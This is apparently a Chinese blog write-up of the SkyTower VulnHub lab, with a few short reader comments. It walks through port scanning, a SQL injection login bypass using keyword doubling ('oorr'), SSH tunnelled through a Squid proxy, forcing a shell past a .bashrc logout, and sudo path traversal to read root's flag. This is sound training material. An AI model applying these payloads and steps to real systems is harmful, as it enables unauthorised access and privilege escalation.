前言
生活是种律动,须有光有影,有左有右,有晴有雨,还要有一点点热血^_^
靶机的基本信息
名称: SkyTower
发布日期:2014 年 6 月 26 日
作者:Telspace
系列:SkyTower
靶机地址:https://www.vulnhub.com/entry/skytower-1,96/
开始
1.收集目标IP信息
nmap -sn 10.10.10.1/24

确定IP是10.10.10.175,继续深入扫描。
sudo nmap -sV -p 1-65535 -O -A 10.10.10.175
-sV 服务版本信息
-O 操作系统版本
-A 综合扫描
-p 指定扫描端口范围

22端口被过滤了,80和3128是开着的。
2.端口80
先看一下80端口,是一个登录框。

首先想到的是SQL注入,爆破。不过按习惯还是先尝试用dirb,nikto扫描了一下,并没有得到什么有用信息,,
那么测试一下注入,先随便输入一个账户密码(admin : 123)

显示登录失败,再加个引号试试(admin' : 123)

提示语法错误了,看来有戏~~
放到sqlmap跑一下,
sqlmap -u http://10.10.10.175/ --forms --batch
--forms 在目标URL上解析和测试表单。
--batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。

失败了:( 还是手工测试一下吧。
将登录的包用burp抓下来,开始测试。

先尝试用or绕过一下登录的判断,
email=admin' or 1=1#&password=123

提示语法错误了,仔细看报错,我们输入的1=1#变成了11#,等号被过滤了。那么我们将等号替换,重新构造如下语句,
email=admin' or 2>1#&password=123

可以看到">"没有被过滤,但仍然提示有语法错误。猜测可能是将or也过滤了,尝试一下双写绕过,
email=admin' oorr 2>1#&password=123

成功绕过了,放到浏览器查看。

页面给了我们一个ssh用户名和密码(john : hereisjohn)
3.端口22
直接尝试连接ssh,

连接超时了,之前nmap扫描ssh是被过滤的,但是,我们可以利用 SQUID 代理获取使用 proxytunnel 绑定本地端口的 SSH 会话。
proxytunnel -p 10.10.10.175:3128 -d 127.0.0.1:22 -a 6666

ssh 127.0.0.1 -l john -p 6666

刚登陆连接就被关闭了,尝试一下执行命令。
ssh 127.0.0.1 -l john -p 6666 "ls -la"

可以执行命令,查看一下.bashrc的内容,
ssh 127.0.0.1 -l john -p 6666 "cat .bashrc"

应该是管理员编辑了这个用户.bashrc 文件以在连接时终止会话,但是我们可以使用ssh的-t参数来执行应用程序,尝试运行一下shell,
ssh 127.0.0.1 -l john -p 6666 -t "/bin/sh"

成功了(直接把.bashrc文件删除或者重命名也是可以登录ssh的)。
4.提权
我们去网站目录/var/www找找看,

在login.php可以得到数据库用户名和密码。
连接数据库,
mysql -uroot -proot

在数据库查到其余两个用户的用户名和密码。
show databases;
use SkyTech;
show tables;
select * from login;

退出john的账户,以同样的方式登录sara的账户。
用sudo -l命令,可以列出目前用户可执行与无法执行的指令,

可以看到对于”cat /account/*“命令有root权限,借此可以查看root目录下的文件,
sudo cat accounts/../root/flag.txt

flag的内容是root用户的密码:theskytower
切换root用户。

至此,我们成功拿到了flag和root。
总结
这个靶场主要的几个点就是一个SQL注入需要手工绕一下(其实联合查询注入也可以用,and or select 这些关键字都可以用双写绕过,也可以用&& ||替换,然后逗号也是可以用join语句去替换,可以参考这篇文章:SQLi —— 逗号,空格,字段名过滤突破),连接ssh时需要搭建http隧道( 比较菜,没接触过这方面:( ),还有那个.bashrc文件。
参考文章:
Comments | 3 条评论
👍🏻👍🏻👍🏻👍🏻👍🏻👍🏻🤜🤛
芜湖
帅帅帅